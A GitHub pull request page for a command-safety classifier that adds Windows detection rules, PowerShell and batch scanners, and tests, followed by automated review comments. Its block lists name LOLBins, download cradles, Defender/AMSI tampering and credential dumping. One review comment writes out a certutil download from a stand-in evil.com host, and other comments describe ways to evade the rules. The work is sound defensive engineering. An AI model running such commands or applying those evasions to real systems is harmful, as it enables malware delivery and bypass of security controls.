Skip to content

feat: win security rules - #14

Merged
php-workx merged 8 commits into
mainfrom
feat/win-security-rules
Apr 2, 2026
Merged

feat: win security rules#14
php-workx merged 8 commits into
mainfrom
feat/win-security-rules

Conversation

@php-workx

@php-workx php-workx commented Apr 1, 2026

Copy link
Copy Markdown
Owner

Summary

  • add and harden Windows command classification, builtin policy rules, and script inspection for PowerShell and batch files
  • address PR feat: win security rules #14 review findings around safe-command bypasses, shell detection/normalization gaps, policy dry-run semantics, worktree safety, and Windows rule coverage
  • align fixtures and targeted tests with the corrected Windows security behavior

Testing

  • go test . ./internal/core ./internal/inspect ./internal/policy -count=1
  • go test ./internal/core -run 'TestIsConditionallySafe|TestDetectShellType|TestClassificationNormalize' -count=1
  • go test ./internal/core -run 'TestClassify_GoldenFixtures' -count=1
  • go test ./internal/inspect -run 'TestScanPowerShell|TestScanBatch' -count=1
  • go test ./internal/inspect -count=1
  • go test ./internal/policy -run 'TestEvaluateBuiltins_WindowsMshtaGeneralExcludesJavascript|TestEvaluateBuiltins_WindowsHighRiskSecurityRules|TestWindowsCertutilGeneralPredicateExcludesDecodeAndUrlcache|TestEvaluateBuiltins_WindowsRegAddGeneralRunBoundary|TestBuiltinRuleTagParity' -count=1
  • go test . -run 'TestSetupWorktreeLinksSharedDirectories|TestSetupWorktreeRefusesIgnoredTicketsFiles|TestAssertSymlinkTargetResolvesRelativeLinks' -count=1

Notes

  • full go test ./... -count=1 was attempted but exceeded the shell timeout in this session

Summary by CodeRabbit

  • New Features

    • Added PowerShell (.ps1) and Windows batch (.bat/.cmd) scanning, broader Windows detection (downloads, LOLBins, persistence, credential/defender tampering), improved shell-type and filename normalization, and enhanced safe-command checks.
  • Policy

    • Policy evaluation now runs pre-normalization/raw-command checks for Windows patterns and preserves dry-run/enforcement flags when merging rule outcomes.
  • Tests

    • Expanded Windows-focused unit and integration tests covering detection, decision outcomes, rule/tag propagation, and dry-run behaviors.
  • Documentation

    • Updated Windows support plan with tag-override examples and noted scanner limitations.
  • Chores

    • Added worktree setup script and justfile target.

Race/Coverage Notes

  • CGO_ENABLED=1 go test -race -coverprofile=/tmp/inspect.cover -covermode=atomic ./internal/inspect -run 'TestScanBatch|TestScanPowerShell' -v
    • passed with no race warnings
    • ScanBatch: 92.9%
    • ScanPowerShell: 100.0%
  • CGO_ENABLED=1 go test -race -coverprofile=/tmp/worktree.cover -covermode=atomic . -run 'TestSetupWorktreeLinksSharedDirectories|TestSetupWorktreeRefusesIgnoredTicketsFiles|TestAssertSymlinkTargetResolvesRelativeLinks' -v
    • passed with no race warnings
    • package coverage is 0.0% because the root package contains tests only and no non-test statements

@php-workx php-workx self-assigned this Apr 1, 2026
@kody-ai

This comment has been minimized.

@coderabbitai

coderabbitai Bot commented Apr 1, 2026

Copy link
Copy Markdown

Note

Reviews paused

It looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the reviews.auto_review.auto_pause_after_reviewed_commits setting.

Use the following commands to manage reviews:

  • @coderabbitai resume to resume automatic reviews.
  • @coderabbitai review to trigger a single review.

Use the checkboxes below for quick actions:

  • ▶️ Resume reviews
  • 🔍 Trigger review

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: c7597dd0-9079-402f-ba9c-e6e3dc967ba6

📥 Commits

Reviewing files that changed from the base of the PR and between baf2cea and 1c930e2.

📒 Files selected for processing (1)
  • integration_test.go

Walkthrough

Adds Windows-focused detection: PowerShell and Batch scanners, expanded shell normalization and basename extraction, new Windows builtin and hardcoded policy rules, classifier logic to evaluate raw/compound PowerShell patterns with policy merging, extensive tests/fixtures, and a worktree setup script with tests.

Changes

Cohort / File(s) Summary
Shell detection
internal/core/shelltype.go, internal/core/shelltype_test.go
Normalize first token (trim/quotes, slash-normalize, basename, lowercase, strip .exe); broaden PowerShell heuristics (cmdlets, aliases, pipeline/type-literal checks); add Windows utility allowlist; update tests.
Classification & normalization
internal/core/classify.go, internal/core/classify_winshell_test.go, internal/core/normalize.go, internal/core/normalize_test.go
Add PowerShell compound regexes for download→iex patterns; applyCompoundModifiers now accepts a PolicyEvaluator and applies matched policy outcomes to classification; add pre-normalization raw-policy evaluation path merging most-restrictive Decision/flags into SubCommandResult; gate basename extraction to only when first token contains path separator and not bracketed; extend PowerShell alias map; add tests for RuleID, dry-run, and fail-closed propagation.
Safe-command gating
internal/core/safecmds.go, internal/core/safecmds_test.go
Lowercase basename dispatch; add validators for certutil, sc, reg, remove-item enforcing argument-pattern gating and reject unsafe switch combos; expand tests for certutil, service/reg query behaviours and case-sensitivity scoping.
Script inspection engines
internal/inspect/powershell.go, internal/inspect/powershell_test.go, internal/inspect/batch.go, internal/inspect/batch_test.go, internal/core/inspect.go, internal/core/inspect_test.go
Add ScanPowerShell (nested <# #> block-comment stripping) and ScanBatch (caret continuations, REM/:: comments) producing Signals; dispatch .ps1/.bat/.cmd in inspector; switch to quote-aware tokenization for referenced-file extraction, allow backslashes in paths, add PowerShell/CMD positional-arg rules; refactor inferDecisionFromSignals to flag-driven logic with explicit blocking and co-occurrence rules; add Windows-focused tests.
Policy: Windows builtins (download, lolbin, security)
internal/policy/builtins_windows_download.go, internal/policy/builtins_windows_lolbin.go, internal/policy/builtins_windows_security.go
Introduce many Windows BuiltinRule entries covering PowerShell download/cradles, LOLBins, persistence, tampering, firewall/audit changes, remoting, registry/service operations, and other security patterns; many rules include Predicates and are prepended to global BuiltinRules.
Hardcoded protections & tests
internal/policy/hardcoded.go, internal/policy/hardcoded_test.go, internal/policy/policy_test.go
Append Windows hard-block regexes (Defender/AMSI tamper, log clearing, LSASS/registry exports); update tests to expect larger HardcodedBlocked count and add builtin evaluation assertions.
Rule metadata / tags
internal/policy/rule_tags.go
Extend builtinRuleTags map with numerous Windows-oriented rule IDs, tags, and keyword triggers used by applyRuleMetadata.
Test fixtures & test additions
testdata/fixtures/commands.yaml, internal/.../*_test.go
Add broad Windows/PowerShell fixture coverage and numerous unit/integration tests across classify, inspect, normalize, safecmds, policy, and scanners to validate decisions, RuleIDs, dry-run/enforcement merging, and parsing edge cases.
Worktree tooling & tests
scripts/setup-worktree.sh, justfile, worktree_setup_test.go
Add script to create symlinks for shared worktree paths (.agents, .tickets) with idempotent/existence/ignore checks; add worktree-setup just target and tests validating symlink creation, refusal on ignored content, and relative symlink handling.
Docs
specs/windows-support-plan.md
Clarify Phase 5 acceptance to list implemented Windows scanning/rules, add recommended tag_overrides example, and document scanner limitations (line-oriented matching).
🚥 Pre-merge checks | ✅ 2 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 14.46% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (2 passed)
Check name Status Explanation
Title check ✅ Passed The title 'feat: win security rules' clearly and concisely summarizes the main change: adding Windows security rules for command classification, policy, and script inspection.
Description check ✅ Passed The PR description provides a comprehensive summary of changes, detailed testing commands, and race/coverage notes that align well with the required template sections.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.


Comment @coderabbitai help to get the list of available commands and usage tips.

@qodo-code-review

Copy link
Copy Markdown

Review Summary by Qodo

Windows security intelligence wave 1: downloads, LOLBins, persistence, and audit gap fixes

✨ Enhancement 🧪 Tests

Grey Divider

Walkthroughs

Description
• Add comprehensive Windows security intelligence rules covering downloads, LOLBins, persistence,
  and credential theft
• Implement PowerShell and batch file scanning with signal detection for dangerous patterns
• Extend shell type detection to recognize PowerShell aliases, type literals, and Windows utilities
• Add raw command pre-normalization checks to preserve Windows path backslashes during
  classification
• Expand safe command conditionals for Windows tools (certutil, sc, reg) with argument validation
Diagram
flowchart LR
  A["Windows Commands"] --> B["Shell Type Detection"]
  B --> C["PowerShell/CMD Parsing"]
  C --> D["Pre-normalization Rules"]
  D --> E["Hardcoded Blocks"]
  E --> F["Builtin Rules"]
  F --> G["File Inspection"]
  G --> H["Signal Analysis"]
  H --> I["Decision Output"]
  A --> J["PowerShell Aliases"]
  J --> B
  A --> K["Windows Utilities"]
  K --> B
  G --> L["PowerShell Scanner"]
  G --> M["Batch Scanner"]
  L --> H
  M --> H
Loading

Grey Divider

File Changes

1. internal/core/classify.go ✨ Enhancement +44/-4

Add PowerShell download-to-iex detection rules

internal/core/classify.go


2. internal/core/classify_winshell_test.go 🧪 Tests +59/-0

Test Windows audit gap rule IDs and decisions

internal/core/classify_winshell_test.go


3. internal/core/inspect.go ✨ Enhancement +18/-10

Add PowerShell and batch file scanning dispatch

internal/core/inspect.go


View more (23)
4. internal/core/inspect_test.go 🧪 Tests +98/-0

Test PowerShell and batch signal detection

internal/core/inspect_test.go


5. internal/core/normalize.go 🐞 Bug fix +5/-1

Fix bracket prefix handling in path normalization

internal/core/normalize.go


6. internal/core/normalize_test.go 🧪 Tests +5/-0

Test PowerShell alias resolution coverage

internal/core/normalize_test.go


7. internal/core/safecmds.go ✨ Enhancement +41/-5

Add conditional safety checks for Windows tools

internal/core/safecmds.go


8. internal/core/safecmds_test.go 🧪 Tests +52/-0

Test certutil, sc, and reg conditional safety

internal/core/safecmds_test.go


9. internal/core/shelltype.go ✨ Enhancement +64/-6

Detect PowerShell aliases and Windows utilities

internal/core/shelltype.go


10. internal/core/shelltype_test.go 🧪 Tests +42/-0

Test PowerShell alias and utility detection

internal/core/shelltype_test.go


11. internal/inspect/powershell.go ✨ Enhancement +121/-0

Implement PowerShell content scanning engine

internal/inspect/powershell.go


12. internal/inspect/powershell_test.go 🧪 Tests +83/-0

Test PowerShell pattern detection and comments

internal/inspect/powershell_test.go


13. internal/inspect/batch.go ✨ Enhancement +93/-0

Implement batch file content scanning engine

internal/inspect/batch.go


14. internal/inspect/batch_test.go 🧪 Tests +72/-0

Test batch pattern detection and comments

internal/inspect/batch_test.go


15. internal/policy/builtins_windows_download.go ✨ Enhancement +115/-0

Add download cradle and BITS transfer rules

internal/policy/builtins_windows_download.go


16. internal/policy/builtins_windows_lolbin.go ✨ Enhancement +92/-0

Add LOLBin execution and script host rules

internal/policy/builtins_windows_lolbin.go


17. internal/policy/builtins_windows_security.go ✨ Enhancement +260/-0

Add security, persistence, and credential rules

internal/policy/builtins_windows_security.go


18. internal/policy/hardcoded.go ✨ Enhancement +34/-0

Add hard-blocked Defender, AMSI, and credential theft

internal/policy/hardcoded.go


19. internal/policy/hardcoded_test.go 🧪 Tests +43/-0

Test Windows security intelligence hard blocks

internal/policy/hardcoded_test.go


20. internal/policy/rule_tags.go ✨ Enhancement +256/-0

Add metadata tags for all Windows builtin rules

internal/policy/rule_tags.go


21. internal/policy/policy_test.go 🧪 Tests +3/-3

Update hardcoded rule count assertion

internal/policy/policy_test.go


22. worktree_setup_test.go 🧪 Tests +145/-0

Test git worktree metadata linking setup

worktree_setup_test.go


23. scripts/setup-worktree.sh ✨ Enhancement +84/-0

Add worktree shared directory symlink helper

scripts/setup-worktree.sh


24. justfile ✨ Enhancement +4/-0

Add worktree-setup task for metadata linking

justfile


25. specs/windows-support-plan.md 📝 Documentation +18/-1

Mark Phase 3 complete with scanner limitations

specs/windows-support-plan.md


26. testdata/fixtures/commands.yaml 🧪 Tests +231/-0

Add comprehensive Windows command test fixtures

testdata/fixtures/commands.yaml


Grey Divider

Qodo Logo

@qodo-code-review

qodo-code-review Bot commented Apr 1, 2026

Copy link
Copy Markdown

Code Review by Qodo

🐞 Bugs (0) 📘 Rule violations (1) 📎 Requirement gaps (0)

Grey Divider


Action required

1. Root-level fuse_test package 📘 Rule violation ⚙ Maintainability
Description
A new Go test file introduces the fuse_test package at the repository root, which is outside
internal/ and not an entrypoint under cmd/fuse/. This violates the repository layout rule
intended to prevent exposing non-entry packages publicly.
Code

worktree_setup_test.go[R1-11]

+//go:build !windows
+
+package fuse_test
+
+import (
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"testing"
+)
Evidence
Compliance ID 185026 requires all non-entry Go packages to live under internal/ (with only the
entrypoint allowed under cmd/fuse/). The PR adds a new root-level Go package fuse_test, which is
neither under internal/ nor cmd/fuse/.

Rule 185026: Place all non-entry Go packages under internal/ and avoid public library exposure
worktree_setup_test.go[1-11]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

## Issue description
A new Go test file is placed at repo root (`worktree_setup_test.go`) and declares `package fuse_test`, which creates a non-entry Go package outside `internal/`.
## Issue Context
Per repo layout rules, only the entrypoint may live outside `internal/` (under `cmd/fuse/`). Tests should be relocated so they don't create root-level packages.
## Fix Focus Areas
- worktree_setup_test.go[1-145]

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools


2. .exe bypasses windows rules🐞 Bug ⛨ Security
Description
Multiple new Windows builtin/hardcoded patterns require whitespace immediately after utility names
(e.g. \bsc\s+, \breg\s+, \bnet\b\s+), so common .exe-suffixed invocations like `sc.exe
create, reg.exe save/add, or net.exe user` won’t match and will fall back to weaker decisions.
The classification pipeline also preserves .exe in basenames, so there’s no normalization step
that would compensate.
Code

internal/policy/builtins_windows_download.go[R63-78]

+			ID:      "builtin:windows:schtasks-create",
+			Pattern: regexp.MustCompile(`(?i)\bschtasks\b.*\s/create\b`),
+			Action:  core.DecisionApproval,
+			Reason:  "scheduled task creation",
+		},
+		{
+			ID:      "builtin:windows:sc-create-config",
+			Pattern: regexp.MustCompile(`(?i)\bsc\s+(create|config)\b`),
+			Action:  core.DecisionApproval,
+			Reason:  "service creation or reconfiguration",
+		},
+		{
+			ID:      "builtin:windows:reg-run-key",
+			Pattern: regexp.MustCompile(`(?i)\breg\s+add\b.*\\Run(Once)?(\s|$|\\)`),
+			Action:  core.DecisionApproval,
+			Reason:  "registry Run/RunOnce persistence",
Evidence
Windows builtin rules for sc and reg require a space directly after the bare command name, which
fails when the command is written as sc.exe/reg.exe. The hardcoded credential-theft rule for
reg save has the same issue. Core normalization/basename extraction keeps the .exe suffix (and
DetectShellType doesn’t strip it), so these commands won’t be rewritten into the bare forms that the
regexes expect.

internal/policy/builtins_windows_download.go[63-79]
internal/policy/builtins_windows_security.go[18-27]
internal/policy/hardcoded.go[322-336]
internal/core/classify.go[867-889]
internal/core/normalize.go[147-152]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

## Issue description
Several Windows rules match only the bare utility name followed by whitespace (e.g., `sc create`, `reg add`, `net user`). On Windows, operators commonly invoke these as `sc.exe`, `reg.exe`, `net.exe` (or via full paths), which bypasses the new builtin/hardcoded detections and reduces decision severity.
## Issue Context
- Builtin rules like `\bsc\s+(create|config)\b` and `\breg\s+add\b` require immediate whitespace after the command token.
- `extractBasename` / `ClassificationNormalize` preserve `.exe` and do not canonicalize `foo.exe` -> `foo`.
## Fix Focus Areas
- internal/policy/builtins_windows_download.go[63-79]
- internal/policy/builtins_windows_security.go[18-29]
- internal/policy/hardcoded.go[322-336]
- internal/core/shelltype.go[138-175]
## Recommended fix
1. Update affected regexes to accept optional `.exe`, e.g. `\bsc(?:\.exe)?\b\s+(create|config)\b`, `\breg(?:\.exe)?\b\s+add\b`, `\bnet(?:\.exe)?\b\s+user\b`, etc.
2. Consider normalizing the first token in `DetectShellType` by applying `filepath.Base()` and stripping a trailing `.exe` (case-insensitive) before checking `windowsCommandUtilities`.
3. Add regression fixtures/tests for `sc.exe`, `reg.exe`, `net.exe` (and optionally full-path variants like `C:\\Windows\\System32\\reg.exe`).

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools



Remediation recommended

3. [ref] type literal missed🐞 Bug ≡ Correctness
Description
DetectShellType only checks for the case-sensitive substring "[Ref].", so PowerShell
type-literal/static-member syntax using other casing (e.g. "[ref].Assembly...") is misclassified.
This can route the command through Bash-style parsing/normalization and reduce the chance of
matching PowerShell-specific rules.
Code

internal/core/shelltype.go[R164-173]

+	// Step 4: PowerShell type-literal or static member syntax, e.g.
+	// [System.Net.WebClient]::new() or [Ref].Assembly.GetType(...).
+	if strings.Contains(command, "]::") || strings.Contains(command, "[Ref].") {
+		return ShellPowerShell
+	}
+
+	// Step 5: Standalone Windows utilities should also bypass the Bash parser so
+	// backslashes survive on non-Windows hosts classifying Windows commands.
+	if windowsCommandUtilities[first] {
+		return ShellCMD
Evidence
The heuristic explicitly searches for "[Ref]." using a case-sensitive strings.Contains, but
PowerShell is case-insensitive for type names like [ref]/[Ref]. As a result, [ref].Assembly...
won’t trigger ShellPowerShell classification via this path.

internal/core/shelltype.go[164-168]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

## Issue description
`DetectShellType` detects PowerShell static member/type-literal syntax via `strings.Contains(command, "[Ref].")`, which is case-sensitive. PowerShell type names are case-insensitive, so `[ref].Assembly...` is missed.
## Issue Context
This detection is used to avoid sending PowerShell constructs through Bash parsing/normalization.
## Fix Focus Areas
- internal/core/shelltype.go[164-168]
## Recommended fix
Lowercase the command once (or use a case-insensitive regex) and check for `"[ref]."` in the lowercased string, e.g.:
- `lower := strings.ToLower(command)`
- `if strings.Contains(lower, "]::") || strings.Contains(lower, "[ref].") { ... }`

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools


4. Batch comments misdetected🐞 Bug ≡ Correctness
Description
ScanBatch only skips comment lines that start with "REM " (space required) or "::", so common batch
comment forms like "@REM ...", "REM" (no trailing space), or "REM\t..." are still scanned and can
produce false-positive malicious signals. This can incorrectly escalate file inspection decisions
for otherwise harmless .bat/.cmd scripts.
Code

internal/inspect/batch.go[R56-72]

+// ScanBatch scans Windows batch content for dangerous patterns.
+// It performs a line-by-line regex scan, skipping REM comments (with a trailing
+// space requirement) and :: comment lines. Commands split across lines with ^
+// continuation are not reconstructed.
+func ScanBatch(content []byte) []Signal {
+	var signals []Signal
+	lines := bytes.Split(content, []byte("\n"))
+
+	for i, line := range lines {
+		lineStr := string(line)
+		trimmed := strings.TrimSpace(lineStr)
+		upper := strings.ToUpper(trimmed)
+
+		// Skip comment lines.
+		if strings.HasPrefix(upper, "REM ") || strings.HasPrefix(trimmed, "::") {
+			continue
+		}
Evidence
The scanner’s comment skip condition hard-codes REM  with a single space and doesn’t allow the
common leading @ echo-suppression prefix or REM followed by other whitespace / end-of-line. Any
dangerous-looking tokens in those comment forms will still be regex-scanned and surfaced as signals.

internal/inspect/batch.go[56-72]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

## Issue description
`ScanBatch` fails to recognize several valid batch comment forms (`@REM`, `REM` with no args, `REM` followed by tabs/multiple spaces), leading to scanning commented-out lines and generating false-positive signals.
## Issue Context
Batch scripts commonly use `@REM` to avoid echoing comment lines. `REM` can also appear alone (no trailing space) as a comment.
## Fix Focus Areas
- internal/inspect/batch.go[64-72]
- internal/inspect/batch_test.go[21-35]
## Recommended fix
1. Replace the current `strings.HasPrefix(upper, "REM ")` check with a more robust predicate, e.g. a regex like `(?i)^\s*@?rem(\s|$)`.
2. Add tests covering:
- `@REM certutil -decode ...` (must be skipped)
- `REM` (must be skipped)
- `REM\tcertutil ...` (must be skipped)

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools



Advisory comments

5. FailClosed overwritten🐞 Bug ☼ Reliability
Description
applyCompoundModifiers sets result.FailClosed = false when it blocks PowerShell download cradles,
which can erase an already-aggregated FailClosed=true from subcommand classification. This loses
uncertainty/audit context and can affect judge downgrade guards that rely on FailClosed.
Code

internal/core/classify.go[R280-294]

+	if rePowerShellDownloadContentIEX.MatchString(displayNorm) {
+		result.Decision = DecisionBlocked
+		result.Reason = "PowerShell Invoke-WebRequest content executed via Invoke-Expression"
+		result.RuleID = "builtin:windows:iex-webrequest-content"
+		result.FailClosed = false
+		return
+	}
+
+	if rePowerShellDownloadPipeIEX.MatchString(displayNorm) {
+		result.Decision = DecisionBlocked
+		result.Reason = "PowerShell download piped to Invoke-Expression"
+		result.RuleID = "builtin:windows:pipe-to-iex"
+		result.FailClosed = false
+		return
+	}
Evidence
FailClosed is aggregated upward from subcommands, then compound modifiers run afterwards; explicitly
assigning false in the compound modifier can clear a previously-true value. The judge uses
FailClosed to prevent downgrades of fail-closed classifications.

internal/core/classify.go[249-267]
internal/core/classify.go[277-295]
internal/judge/judge.go[268-275]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

## Issue description
`applyCompoundModifiers` assigns `result.FailClosed = false` in BLOCKED branches, which can erase a previously aggregated `FailClosed=true` from earlier subcommand analysis.
## Issue Context
`FailClosed` is used as a safety/uncertainty signal (including LLM-judge downgrade guards). Clearing it at the end of classification loses that context.
## Fix Focus Areas
- internal/core/classify.go[277-295]
## Recommended fix
Remove the `result.FailClosed = false` assignments in these compound modifier branches (or only set FailClosed to true, never force it to false). If you need to represent “high confidence block”, introduce a separate field rather than reusing `FailClosed`.

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools


Grey Divider

ⓘ The new review experience is currently in Beta. Learn more

Grey Divider

Qodo Logo

@codecov

codecov Bot commented Apr 1, 2026

Copy link
Copy Markdown

Codecov Report

❌ Patch coverage is 96.69811% with 28 lines in your changes missing coverage. Please review.
✅ Project coverage is 74.43%. Comparing base (84bc2bb) to head (1c930e2).
⚠️ Report is 1 commits behind head on main.

Files with missing lines Patch % Lines
internal/core/classify.go 80.95% 4 Missing and 4 partials ⚠️
internal/policy/builtins_windows_security.go 93.85% 7 Missing ⚠️
internal/core/safecmds.go 90.00% 2 Missing and 2 partials ⚠️
internal/policy/builtins_windows_lolbin.go 95.23% 3 Missing ⚠️
internal/core/inspect.go 96.72% 1 Missing and 1 partial ⚠️
internal/core/shelltype.go 94.28% 1 Missing and 1 partial ⚠️
internal/inspect/batch.go 97.50% 1 Missing and 1 partial ⚠️
Additional details and impacted files
@@            Coverage Diff             @@
##             main      #14      +/-   ##
==========================================
+ Coverage   72.15%   74.43%   +2.27%     
==========================================
  Files          79       84       +5     
  Lines        9330    10154     +824     
==========================================
+ Hits         6732     7558     +826     
+ Misses       2038     2037       -1     
+ Partials      560      559       -1     

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

@gemini-code-assist gemini-code-assist Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request implements comprehensive Windows support for the fuse security classifier. Key changes include new scanners for PowerShell and Batch scripts, expanded shell type detection to handle Windows-specific utilities and aliases, and a robust set of new policy rules targeting Windows-specific threats such as LOLBins, Defender tampering, AMSI bypasses, and credential theft. Additionally, the PR introduces conditional safety checks for common Windows commands like certutil, sc, and reg. Feedback was provided regarding a security bypass in the certutil safety logic where the presence of a safe flag could incorrectly validate a command containing dangerous flags.

Comment thread internal/core/safecmds.go
Comment on lines +226 to +234
func isCertutilSafe(fields []string) bool {
for _, field := range fields[1:] {
switch strings.ToLower(field) {
case "-hashfile", "-verify", "-dump", "-store", "-viewstore":
return true
}
}
return false
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-high high

The current implementation of isCertutilSafe is insecure. It returns true if any safe flag is present, which allows an attacker to bypass security checks by appending a safe flag to a dangerous command (e.g., certutil -urlcache -f http://evil.com/payload.exe -hashfile). The logic should instead block known dangerous LOLBin verbs/flags and only return true if a safe verb is identified and no dangerous ones are present.

func isCertutilSafe(fields []string) bool {
	hasSafeVerb := false
	for _, field := range fields[1:] {
		lower := strings.ToLower(field)
		// Block known dangerous LOLBin flags/verbs.
		if lower == "-decode" || lower == "decode" ||
			lower == "-encode" || lower == "encode" ||
			lower == "-urlcache" || lower == "urlcache" ||
			lower == "-ping" || lower == "ping" {
			return false
		}
		// Check for safe verbs.
		switch lower {
		case "-hashfile", "hashfile", "-verify", "verify", "-dump", "dump", "-store", "store", "-viewstore", "viewstore":
			hasSafeVerb = true
		}
	}
	return hasSafeVerb
}

Comment thread worktree_setup_test.go
Comment on lines +1 to +11
//go:build !windows

package fuse_test

import (
"os"
"os/exec"
"path/filepath"
"strings"
"testing"
)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Action required

1. Root-level fuse_test package 📘 Rule violation ⚙ Maintainability

A new Go test file introduces the fuse_test package at the repository root, which is outside
internal/ and not an entrypoint under cmd/fuse/. This violates the repository layout rule
intended to prevent exposing non-entry packages publicly.
Agent Prompt
## Issue description
A new Go test file is placed at repo root (`worktree_setup_test.go`) and declares `package fuse_test`, which creates a non-entry Go package outside `internal/`.

## Issue Context
Per repo layout rules, only the entrypoint may live outside `internal/` (under `cmd/fuse/`). Tests should be relocated so they don't create root-level packages.

## Fix Focus Areas
- worktree_setup_test.go[1-145]

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools

Comment thread internal/policy/builtins_windows_download.go
Comment thread internal/core/shelltype.go Outdated
Comment thread internal/inspect/batch.go
Comment thread internal/core/classify.go Outdated
Comment thread internal/core/inspect_test.go Outdated
Comment thread internal/core/safecmds.go
Comment thread internal/core/safecmds.go Outdated
Comment thread internal/core/safecmds_test.go Outdated
Comment thread internal/core/shelltype.go Outdated
Comment thread internal/core/shelltype_test.go
Comment thread internal/inspect/batch.go
Comment thread internal/inspect/batch.go
Comment thread internal/inspect/batch_test.go
Comment thread internal/inspect/batch_test.go
Comment thread internal/inspect/powershell.go Outdated
Comment thread internal/policy/builtins_windows_download.go
Comment thread internal/policy/builtins_windows_lolbin.go
Comment thread internal/policy/builtins_windows_security.go
Comment thread internal/policy/hardcoded.go Outdated
Comment thread internal/policy/rule_tags.go
Comment thread scripts/setup-worktree.sh
Comment thread specs/windows-support-plan.md
Comment thread testdata/fixtures/commands.yaml
Comment thread testdata/fixtures/commands.yaml
Comment thread worktree_setup_test.go

@kody-ai kody-ai Bot left a comment

Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 12

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (2)
internal/core/shelltype.go (1)

139-180: ⚠️ Potential issue | 🟠 Major

Use a quote-aware normalized basename for the first-token checks.

strings.Fields splits "C:\Program Files\PowerShell\7\pwsh.exe" at the space, and the raw token still includes .exe when users call certutil.exe, reg.exe, sc.exe, etc. That makes the explicit-wrapper and Windows-utility paths fall back to Bash on non-Windows hosts, which also prevents the raw-policy recovery in internal/core/classify.go from kicking in for commands without backslashes.

💡 Suggested normalization
-	first := strings.ToLower(fields[0])
+	first := strings.ToLower(strings.TrimSuffix(extractBasename(command), ".exe"))
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/core/shelltype.go` around lines 139 - 180, The first-token checks
use strings.Fields and then the raw token (first) which can contain quotes or
path components causing mismatches; normalize the token by trimming surrounding
quotes, taking the basename, and lowercasing it before comparisons.
Specifically, after obtaining fields[0], compute a normalized token by calling
strings.Trim(fields[0], `"'`), then filepath.Base(...) on that result, and
finally strings.ToLower(...) and use that normalized value in checks against
knownCmdlets, knownPowerShellAliases, windowsCommandUtilities, cmdOnlyBuiltins
and the explicit wrapper checks (so symbols to update include the local variable
first, the initial fields := strings.Fields(command) usage, and the comparisons
returning ShellCMD/ShellPowerShell); add an import for path/filepath if not
present.
internal/core/inspect.go (1)

216-233: ⚠️ Potential issue | 🟠 Major

cmd /c script.bat still won't reach the new batch scanner.

DetectReferencedFile adds PowerShell handling, but there is still no cmd/cmd.exe branch, so cmd /c install.bat and cmd.exe /c install.cmd fall through without extracting the referenced file. The same invoker matching is also brittle for Windows casing and absolute paths, so PowerShell.EXE and C:\...\pwsh.exe variants are easy to miss.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/core/inspect.go` around lines 216 - 233, The switch on invoker (in
DetectReferencedFile) misses cmd/cmd.exe and is case-sensitive; update the code
so invoker := strings.ToLower(filepath.Base(parts[0])) and add a case for "cmd"
and "cmd.exe" that calls extractFile(args, []string{".bat", ".cmd"},
[]string{"/c", "/k", "/s"}); keep other shells as-is and fall back to
detectExecutablePath(parts[0]) so absolute paths (e.g., C:\...\pwsh.exe) and
different casing (PowerShell.EXE) are handled correctly.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@internal/core/classify.go`:
- Around line 338-340: The current check only assigns rawPolicyMatch when the
policy result (pr) has matched==true, which discards builtin dry-run-only hits;
change the conditional around evaluatePolicyRules so that rawPolicyMatch is set
when either pr.matched is true or pr contains non-empty dry-run matches (e.g.,
check pr.DryRunMatches or equivalent field) — update both places that call
evaluatePolicyRules (the blocks that set rawPolicyMatch) to preserve the result
when pr has dry-run matches even if matched==false.
- Around line 280-294: The two early-return branches that match
rePowerShellDownloadContentIEX and rePowerShellDownloadPipeIEX set
result.Decision = DecisionBlocked and hardcode builtin rule IDs, bypassing
policy evaluation so global_dryrun and tag_overrides never apply; update these
branches to call EvaluateBuiltins (or the existing policy evaluation path) with
the matched rule IDs and assign result based on that evaluation instead of
directly setting DecisionBlocked, Reason, RuleID and returning — alternatively,
if these patterns must ignore policy, move them into the hardcoded layer;
reference rePowerShellDownloadContentIEX, rePowerShellDownloadPipeIEX,
EvaluateBuiltins, DecisionBlocked and the
"builtin:windows:iex-webrequest-content"/"builtin:windows:pipe-to-iex" IDs when
making the change.

In `@internal/core/normalize.go`:
- Around line 149-152: The current guard before calling filepath.Base on
firstToken only skips tokens starting with "[" but still runs for parenthesized
